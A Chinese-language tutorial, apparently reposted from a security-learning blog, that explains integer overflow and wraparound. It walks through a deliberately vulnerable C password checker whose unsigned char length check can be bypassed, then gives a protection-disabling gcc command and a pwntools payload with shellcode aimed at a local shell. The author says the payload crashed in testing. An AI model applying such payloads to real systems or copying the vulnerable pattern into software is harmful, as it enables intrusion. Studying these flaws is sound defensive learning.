[二進制漏洞]PWN學習之整數溢出Win篇


[二進制漏洞]PWN學習之整數溢出Win篇

整數溢出

如果一個整數用來計算一些敏感數值,如緩沖區大小或數值索引,就會產生潛在的危險。通常情況下,整數溢出並沒有改寫額外的內存,不會直接導致任意代碼執行,但是它會導致棧溢出堆溢出,而后兩者都會導致任意代碼執行。由於整數溢出發生之后,很難被立即察覺,比較難用一個有效的方法去判斷是否出現或者可能出現整數溢出。

關於整數的異常情況主要有三種:

  • (1)溢出,只有有符號數才會發生溢出。有符號數的最高位表示符號,在兩正或兩負相加時,有可能改變符號位的值,產生溢出。溢出標志OF可檢測有符號數的溢出;
  • (2)回繞,無符號數0-1時會變成最大的數,如1字節的無符號數會變為255,而255+1會變成最小數0。進位標志CF可檢測無符號數的回繞;
  • (3)截斷,將一個較大寬度的數存入一個寬度小的操作數中,高位發生截斷

溢出和回繞

溢出分為上溢出和下溢出兩種,上溢出是正數超過了最大數后溢出其OF標志寄存器為1,下溢出是負數超過了最大分為后OF標志寄存器為1,下面是我在Windows7中用VC6進行的演示。

image-20211021161627774

image-20211021161730332

接下來是環繞,是無符號數據的測試。

add指令前

image-20211021161905542

add指令后

image-20211021162051469

sub指令前

image-20211021162215782

sub指令后

image-20211021162335933

漏洞多發函數

整數溢出要配合其他類型的缺陷才能有用,下面的兩個函數都有一個size_t類型的參數(size_t是無符號整數類型的sizeof()的結果),常常被誤用而產生整數溢出,接着就可能導致緩沖區溢出漏洞。

這兩個函數都有一個size_t的參數,是無符號整型,當有符號負數作為n的參數時候,就會環路產生最大的無符號數。

#inlcude <string.h>
void *memcpy (void *dest,const void *src,size_t n);
char *strncpy(char *dest,const char *src,size_t n);

整數溢出例子

#include <stdio.h>
#include <string.h>
/********************************
* 驗證密碼函數
*********************************/
void validate_password(char *password)
{
    //定義一個buffer
    char password_buf[11];
    //取出passwd的長度
    unsigned char passwd_len = strlen(password);
    //進行密碼驗證 要求密碼長度在4和8之間
    if(passwd_len >= 4 && passwd_len <=8)
    {
        printf("good!\n");
        strcpy(password_buf,password);//將密碼拷貝到buffer中
    }
    else
    {
        printf("bad!\n");
    }
}

//程序入口點
int main(int argc,char *argv[])
{
    validate_password(argv[1]);
}

上面的代碼我做了詳細的注釋,可以看出他的功能是要求用戶輸入一個密碼,並且要求長度在4-8之間,然后拷貝到buffer中。

講真的我要是不學整數溢出之前,我也看不出這代碼哪里有問題,各位大佬的火眼金睛是否能發現?

沒錯問題就出在11行,這里strlen函數返回的類型是size_t也就是無符號整型,我們都知道無符號整型的取值范圍是0~4294967295(32位),也就是0xFFFFFFFF 4個字節,而他被存儲在了一個unsigned char的變量中,unsigned char其實就是byte 最大數值是255即0xFF 1個字節,所以當我們的密碼長度為256的時候就發生環路,長度就變成了0,而我們只要滿足他的條件即 260=4、261=5、262=6、263=7、264=8都能繞過驗證,並且我們在繞過驗證后下面的strcpy將那么大的字符串數據進行拷貝時候緩沖區又會發生溢出,從而可以利用棧漏洞攻擊拿到Shell。

#關閉所有防護 進行編譯
gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o Integer_bug Integer_bug.c

先來進行測試下,輸入長度1和長度4的字符串。

image-20211021170725863

OK接下來生成超過260的字符串,然后運行后看什么數據覆蓋到了eip寄存器,再用cyclic -l來計算出位置。

image-20211021174409611

顯示24個字符后即可覆蓋掉eip寄存器。

image-20211021174525329

下面可以來構造payload了。

from pwn import *
#初始化PWN環境
context.arch  = 'i386'
context.os    = 'linux'
context.log_level = 'debug'
p = process("./Integer_bug")

#payload
retAddress = p32(0xffffd408)     #ebp地址
padding    = b'A' * 24           #填充
shellcode  = asm(shellcraft.sh())#shellcode
sledding   = '\x90' * 20         #滑雪橇
bypass     = b'B' * (261-len(retAddress)-len(padding)-len(shellcode)-len(sledding))
payload    = padding + retAddress + sledding + shellcode+bypass

#攻擊
p.send(payload)
p.interactive()

經過測試不知道是不是gcc版本太高的緣故,執行poc后會斷在strlen函數里面,可能新版gcc對strlen函數進行加強了嗎?

各位有低版本的gcc或者Linux系統可以進行測試下。

image-20211021182331944


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM